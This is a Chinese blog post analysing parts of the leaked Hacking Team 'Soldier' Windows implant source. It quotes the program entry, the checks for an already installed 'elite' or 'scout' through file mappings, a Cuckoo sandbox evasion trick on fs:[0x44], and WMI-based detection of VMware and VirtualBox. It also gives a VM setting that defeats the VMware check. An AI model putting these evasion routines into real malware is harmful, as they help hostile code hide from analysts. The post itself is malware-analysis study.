• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

Windogs

  • 博客园
  • 联系
  • 订阅
  • 管理

公告

View Post

core-soldier代码学习1

这份代码是Hackteam泄露出的400G源码中关于windows的一小部分,下载链接:https://github.com/hackedteam?tab=repositories

工程分为2部分Soldier主体与updater程序。当然,主要看的是Soldier主体部分。

程序入口:

int CALLBACK 
WinMain(
    __in HINSTANCE hInstance,
    __in HINSTANCE hPrevInstance,
    __in LPSTR lpCmdLine,
    __in int nCmdShow)
{

    if (FakeConditionalVersion())    
    {
        SecureZeroMemory(DEMO_TAG, 3); 
        SecureZeroMemory(WMARKER, 3);
        SecureZeroMemory(CLIENT_KEY, 3);
        SecureZeroMemory(ENCRYPTION_KEY_CONF, 3);
        SecureZeroMemory(SCOUT_NAME, 3);
        SecureZeroMemory(EMBEDDED_CONF, 4);

        ShellExecute(NULL, L"open", L"http://www.skype.com", NULL, NULL, SW_SHOWNORMAL);
        return 1;
    }
    //检测windows版本

    #ifdef _DEBUG
        OutputDebugString(L"Initializing scout...");
    #endif

  if (InitScout())
  {........


//以下暂时省略

FakeConditionalVersion()这个函数名有点奇怪啊,主要判断代码如下:

if (!GetVersionEx((POSVERSIONINFO) &pOsVersionInfo))
return FALSE;

if (pOsVersionInfo.dwMajorVersion > 0xf1)
return TRUE;

 

通过GetVersionEx获得OSVERSIONINFOEX结构,然后判断其中的系统版本(dwMajorVersion ),但是新出的windows10这个值最大就是10,所以永远返回FALSE。怪不得前面加一个FAKE。

接下来一个判断函数InitScout()

这个函数主要作用是:初始化一些参数,检测是否有同名的文件映射然后创建文件映射,加载注册表中的信息,以及虚拟机检测。

首先,InitEncryptionKeys()这个函数初始化了一些后面会用到的字符串。然后是个判断:

   BOOL bVM = AntiVM();
    BOOL bElite = ExistsEliteSharedMemory();
    BOOL bScout = ExistsScoutSharedMemory();
    // check for elite or scout presence 
    //if (ExistsEliteSharedMemory() || ExistsScoutSharedMemory())
    if (bVM || bElite || bScout)
    {
#ifdef _DEBUG
        OutputDebug(L"[+] An ELITE or SCOUT is already installed here!\n");
        __asm int 3;
#endif
        if (bElite && AmIFromStartup())
            DeleteAndDie(TRUE); // FIXME: forse e' ok uscire qui

        return FALSE;
    }

ExistsEliteShareMemory()与ExistsScoutShareMemory的原理一样,都是使用OpenFileMapping()看是否已经存在了同名的映射,判断主要代码:

pName = GetScoutSharedMemoryName();
hMem = OpenFileMapping(FILE_MAP_READ, FALSE, pName);

if (hMem)
{
uRet = TRUE;
CloseHandle(hMem);
}

 

AntiVM()函数用于检测程序是否运行在虚拟机下,它分别检测了Cuckoo,VMware与VirtualBox

检测Cuckoo的代码:

VOID AntiCuckoo()
{
    LPDWORD pOld, pFake;

    pFake = (LPDWORD) malloc(4096*100);
    memset(pFake, 1, 4096*100);
    __asm
    {
        mov eax, fs:[0x44]        // save old value
        mov pOld, eax

        mov eax, pFake            // replace with fake value
        mov fs:[0x44], eax
    }

    // this will not be logged nor executed.
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) Sleep, (LPVOID) 1000, 0, NULL); 

    __asm
    {
        mov eax, pOld        // restore old value, not reached if cuckoo
        mov fs:[0x44], eax
    }

    free(pFake);
}

这是对fs:0x44的值进行操作,我对Cuckoo没有什么了解,这个操作应该是跟Cuckoo的挂钩方式有关?

 

VMware与VirtualBox:

他们的原理相同,通过WMI查询硬件,VMware查询的是bios的序列号,VirtualBox查询的是Win32_PnPEntity结构中的DeviceID(这个是什么设备?)

由于代码比较长,我以VMware为例,只看重要部分:

com的初始化

CoInitialize(NULL);//com初始化
    if (CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc) != S_OK) //创建com服务器用于接发数据
        return FALSE;
    if (!pLoc)
        return FALSE;

    WCHAR strRootCIM[] = { L'R', L'O', L'O', L'T', L'\\', L'C', L'I', L'M', L'V', L'2', L'\0' };//ROOT\\CIMV2

然后初始化查询的字符串在WMIExecQueryGetProp(.....)中查询BIOS的序列号

       WCHAR strQuery[] = {L'S', L'E', L'L', L'E', L'C', L'T', L' ', L'*', L' ', L'F', L'R', L'O', L'M', L' ', L'W', L'i', L'n', L'3', L'2', L'_', L'B', L'i', L'o', L's', L'\0' }; 
            //SELECT * FROM Win32_Bios
            WCHAR strSerial[] = { L'S', L'e', L'r', L'i', L'a', L'l', L'N', L'u', L'm', L'b', L'e', L'r', L'\0' };
            //SerialNumber
            if (WMIExecQueryGetProp(pSvc, strQuery, strSerial, &vArg) && vArg.vt == VT_BSTR)
            {

 

查询的代码

HRESULT hr = pSvc->ExecQuery(bWQL, bstrQuery, 0, NULL, &pEnum);
    if (hr == S_OK)
    {
        ULONG uRet;
        IWbemClassObject *apObj;
        hr = pEnum->Next(5000, 1, &apObj, &uRet);
        if (hr == S_OK)
        {
            hr = apObj->Get(bstrField, 0, lpVar, NULL, NULL);
            if (hr == WBEM_S_NO_ERROR)
                bRet = TRUE;

            apObj->Release();
        }
        pEnum->Release();
    }

由于VMware虚拟机bios的序列号总是会有一个VM头,可以因此判断是否运行在虚拟机环境下。

我们用命令查看一下虚拟机的bios序列号:

可见一个 ”VMware-“ 的头。

如何anti这种检测方式?     方法有很多,最简单的方法是在虚拟机的配置文件.vmx中加入这一行:

SMBIOS.reflectHost = TRUE

这样虚拟机的bios序列号就会和主机一样了,效果如图:

这章先到这吧,下次再更

posted on 2015-08-12 18:56  Windogs  阅读(597)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3